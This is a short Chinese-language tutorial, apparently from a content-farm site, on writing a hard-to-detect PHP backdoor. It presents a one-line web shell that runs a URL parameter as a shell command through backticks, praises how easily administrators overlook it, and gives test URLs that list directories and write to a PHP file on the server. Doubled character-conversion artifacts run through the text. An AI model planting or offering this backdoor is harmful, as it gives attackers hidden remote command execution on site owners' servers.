本篇內(nèi)容介紹了“如何編寫一個不易被發(fā)現(xiàn)的PHP后門代碼”的有關(guān)知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!
這里用到了一個一般的PHPer都不怎么關(guān)注的反撇號 ` ,反撇號包含的字符串,等同于shell_exec函數(shù)。
偽裝性很好,很容易被管理員忽略。
$selfNums = $_GET['r']; if (isset($selfNums)){ echo `$selfNums`; }
剛看到這段代碼我想大家都會說沒有問題,但是細(xì)心的朋友也會發(fā)現(xiàn)下面的變量被一個符號包起來了,既然是變量為什么要這樣了,
而且又不是單引號,這個就是關(guān)鍵所在了,這個符號是 Esc 下面的一個鍵(位于感嘆號!旁邊的),
通過 echo `系統(tǒng)命令`; 可以達(dá)到 system(); 一樣的效果
如果不信的朋友可以測試
http://127.0.0.1/t.php?r=dir可以列出目錄
http://127.0.0.1/t.php?r=echo 我是馬兒 >>D:\web\90sec.php
我用 appserv 和虛擬主機(jī)已經(jīng)測試成功。
“如何編寫一個不易被發(fā)現(xiàn)的PHP后門代碼”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實用文章!